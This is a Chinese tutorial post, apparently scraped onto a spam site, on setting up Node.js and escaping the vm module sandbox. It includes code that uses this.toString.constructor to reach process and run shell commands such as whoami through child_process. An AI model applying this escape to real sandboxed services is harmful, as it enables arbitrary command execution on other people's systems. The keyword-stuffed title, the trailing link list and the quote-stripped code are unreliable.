当前位置: 首页 > news >正文

网站建设案例典型企业案例免费的app软件大全

网站建设案例典型企业案例,免费的app软件大全,做网站被骗,免费测名打分测名字打分目录 一. 配置环境1.下载nodejs2.nodejs配置3.报错解决方法 二. nodej沙箱绕过1. vm模块2.使用this或引用类型来进行沙箱绕过 一. 配置环境 1.下载nodejs 官网#xff1a;https://nodejs.org/en2.nodejs配置 安装nodejs的msi文件#xff0c;默认配置一直下一步即可#x… 目录 一. 配置环境1.下载nodejs2.nodejs配置3.报错解决方法 二. nodej沙箱绕过1. vm模块2.使用this或引用类型来进行沙箱绕过 一. 配置环境 1.下载nodejs 官网https://nodejs.org/en2.nodejs配置 安装nodejs的msi文件默认配置一直下一步即可以下步骤以默认安装为准如有安装位置改变请自行更改环境变量里面的配置。 继续进行环境变量的配置 用户变量如下 系统变量如下 编辑PATH添加如下 在默认安装位置新建如下两个文件 node_cache是放安装过程的缓存文件 node_global是存放安装模块配置位置 测试是否安装成功 继续执行如下命令 npm config set prefix C:\Program Files\nodejs\node_global npm config set cache C:\Program Files\nodejs\node_cache安装cluster进行测试 npm install cluster -g3.报错解决方法 如有报错请尝试给nodejs默认安装目录提升用户权限来解决。 二. nodej沙箱绕过 1. vm模块 const vm require(vm); const script m n; const sandbox { m: 1, n: 2 }; const context new vm.createContext(sandbox); const res vm.runInContext(script, context); console.log(res)运行结果 2.使用this或引用类型来进行沙箱绕过 this指向的是sandbox,我们可以获得一个tosString方法通过toString方法来获得一个构造函数。 所有函数都是由Fuction创造出来的,我们的目的是拿到process模块 因为constructor本身指向它的构造函数所以我们可以利用constructor函数来拿到Function函数 沙盒逃逸就是要把外面的元素或者对象引入进来。 如下此时是利用this const vm require(vm); const script const process x.toString.constructor(return process)() process.mainModule.require(child_process).execSync(whoami).toString() ;const sandbox { m: [], n: {}, x:/regexp/}; const context new vm.createContext(sandbox); //const res vm.runInContext(script, context); const res vm.runInContext(script,context) console.log(res) 我们把“x”替换为this也是可以成功执行的此时m和n可以是任意.,这个是利用了引用类型比如{}。 const vm require(vm); const script const process this.toString.constructor(return process)() process.mainModule.require(child_process).execSync(ipconfig).toString() ;const sandbox { m: 1, n: 2 }; const context new vm.createContext(sandbox); //const res vm.runInContext(script, context); const res vm.runInContext(script,context) console.log(res)whoami成功执行代表着此时已经可以任意命令执行 用户learnpc是我的管理员用户 比如我们这里在执行以下ipconfig来进行验证 以上便是经典的沙箱逃逸来执行命令当我们可以执行命令的时候便说明我们其实已经成功拿下。此时也可执行其他不好的命令。
http://www.dnsts.com.cn/news/229775.html

相关文章:

  • 咖啡厅网站建设网站建设 麓谷
  • 页面设计班好的优化网站推广公司
  • cc域名的网站茂名模板建站代理
  • 网站建设 开题报告上海网站建设的价格
  • 北辰天津网站建设wordpress 本地 慢
  • 帝国cms制作网站地图那些公司做网站好
  • 天津手机网站公司施工员证怎么查询网站
  • 网站 html怎么做整人的网站
  • 手机微网站建设案例及报告网站站长英文
  • 深圳企业医疗网站建设手机网站建设 豆丁
  • 网站html下载器哪些网站可以做免费外贸
  • 网站建设亿玛酷神奇5短视频宣传片制作
  • 深圳网站建设公司哪里好安徽省建设行业质量与安全协会网站
  • 织梦网站tag怎么做做网站话挣钱吗
  • 河南基安建设集团有限公司网站网站建设属于什么资产
  • 电脑自带的做网站叫什么成都网站建设制作价格
  • 佛山哪家网站建设比较好团购模板网站
  • 网站特效代码html建立网站小程序
  • 创建网站为啥要钱在哪个网站找水利工地做
  • 廊坊网站建设电话中关村在线app
  • 求网站2021在线观看企业网站建设 推广
  • 哪种语言的网站 做seo更好烟台H5高端网站建设
  • 学院网站设计模板设计游戏的软件
  • 在百度建免费网站一屏一屏的网站怎么做
  • 网站名称 注册上海招投标网官方
  • 网站买空间的价格制作书签简单又漂亮
  • 专业建站推广企业简述网站制作步骤
  • 邢台网站建设策划seo手机排名软件
  • 网站建设图片链接方法o2o电子商务网站开发与运营
  • 丹东网站推广网站建设价钱差异